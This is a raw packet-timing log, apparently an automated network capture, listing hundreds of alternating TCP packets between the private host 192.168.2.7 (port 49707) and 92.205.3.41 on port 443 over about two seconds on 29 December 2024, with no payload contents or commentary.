Dec 29, 2024 08:56:13.165441990 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.167793989 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.167860985 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.170861959 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.170933008 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.173017025 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.173080921 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.176120043 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.176182032 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.178517103 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.178622961 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.181024075 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.181129932 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.184150934 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.184246063 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.186517000 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.186616898 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.347735882 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.347915888 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.349864006 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.349991083 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.352849007 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.352921963 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.355223894 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.355298042 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.357882977 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.357960939 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.360141039 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.360207081 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.363241911 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.363334894 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.365680933 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.365771055 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.368262053 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.368357897 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.371278048 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.371404886 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.373373985 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.373465061 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.376473904 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.376557112 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.379054070 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.379160881 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.381412029 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.381504059 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.383835077 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.383918047 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.386902094 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.386979103 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.389302015 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.389388084 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.550087929 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.550195932 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.553170919 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.553256989 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.555615902 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.555692911 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.558089018 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.558183908 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.560527086 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.560607910 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.563641071 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.563719988 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.566005945 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.566071987 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.568602085 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.568687916 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.571043015 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.571101904 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.573882103 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.573951006 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.576860905 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.576934099 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.579291105 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.579371929 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.581757069 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.581829071 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.584186077 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.584263086 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.587268114 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.587333918 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.589690924 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.589761972 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.750946045 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.751106024 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.753302097 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.753386974 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.755820990 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.755906105 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.758254051 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.758331060 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.761313915 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.761389971 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.763732910 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.763842106 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.766185045 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.766283989 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.771904945 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.771991968 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.772618055 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.772686958 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.775130987 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.775223970 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.777559996 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.777648926 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.779462099 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.779535055 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.781851053 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.781913042 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.785161018 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.785242081 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.787401915 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.787487984 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.789921999 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.790005922 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.951342106 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.951451063 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.953265905 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.953350067 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.956342936 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.956418037 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.958765030 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.958852053 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.961249113 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.961334944 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.964390993 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.964474916 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.966763020 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.966836929 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.969300032 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.969383001 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.971693039 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.971769094 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.974786043 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.974858046 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.976948977 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.977044106 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.980041981 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.980113983 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.982439041 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.982511044 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.984920025 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.984991074 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.988018036 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.988086939 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.990459919 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.990555048 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:13.992947102 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:13.993033886 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.153739929 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.153901100 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.156851053 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.156971931 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.159224033 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.159296989 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.161747932 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.161819935 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.164249897 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.164330006 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.167298079 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.167366028 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.169661045 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.169733047 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.172177076 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.172247887 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.175262928 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.175332069 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.177310944 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.177382946 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.180493116 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.180561066 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.182888985 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.182960987 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.185385942 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.185461998 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.187783003 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.187855959 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.190895081 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.190965891 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.193373919 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.193443060 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.354151964 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.354247093 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.357223034 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.357300997 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.359592915 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.359664917 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.362109900 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.362185955 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.364530087 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.364618063 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.367636919 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.367723942 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.370016098 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.370091915 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.372555017 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.372623920 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.375004053 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.375071049 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.378036022 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.378101110 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.380851030 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.380937099 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.383261919 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.383346081 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.385718107 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.385796070 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.388178110 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.388251066 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.391338110 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.391417027 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.393671036 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.393737078 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.555083990 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.555181980 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.557287931 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.557360888 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.560015917 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.560095072 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.562601089 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.562670946 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.564888000 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.564955950 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.568077087 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.568156958 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.570445061 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.570518017 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.572949886 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.573036909 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.575412035 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.575479031 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.578491926 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.578562021 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.580586910 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.580651999 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.583784103 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.583863974 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.586184978 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.586255074 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.588640928 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.588707924 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.591806889 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.591914892 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.594134092 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.594230890 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.596676111 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.596788883 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.757714987 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.757858992 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.760823011 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.760945082 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.763227940 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.763319969 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.765774965 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.765853882 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.768793106 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.768872976 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.771203995 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.771286011 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.773722887 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.773802996 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.776247025 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.776324987 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.779217958 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.779289007 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.781375885 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.781445980 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.784478903 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.784547091 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.786936045 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.787062883 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.789398909 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.789474010 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.792543888 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.792613029 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.794872999 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.794941902 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.797400951 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.797537088 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.958638906 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.958792925 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.961000919 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.961127996 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.963586092 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.963692904 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.965954065 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.966031075 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.969007969 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.969073057 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.971404076 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.971487999 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.973937035 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.974005938 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.977045059 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.977127075 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.979444027 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.979521990 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.981965065 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.982033968 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.984648943 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.984726906 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.987231970 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.987298965 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.989805937 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.989896059 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.992712975 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.992779016 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.995522022 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.995594978 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:14.997595072 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:14.997659922 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:15.159127951 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:15.159324884 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:15.161732912 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:15.161818981 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:15.164124966 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:15.164199114 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:15.166718960 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:15.166791916 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:15.169023991 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:15.169101954 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:15.172208071 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:15.172275066 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:15.174565077 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:15.174669981 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:15.177073956 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:15.177145958 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:15.180162907 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:15.180228949 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:15.182557106 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:15.182626009 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:15.185461998 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:15.185530901 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:15.187819958 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:15.187891006 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:15.190274954 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:15.190385103 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:15.192732096 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:15.192801952 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:15.195879936 CET	443	49707	92.205.3.41	192.168.2.7
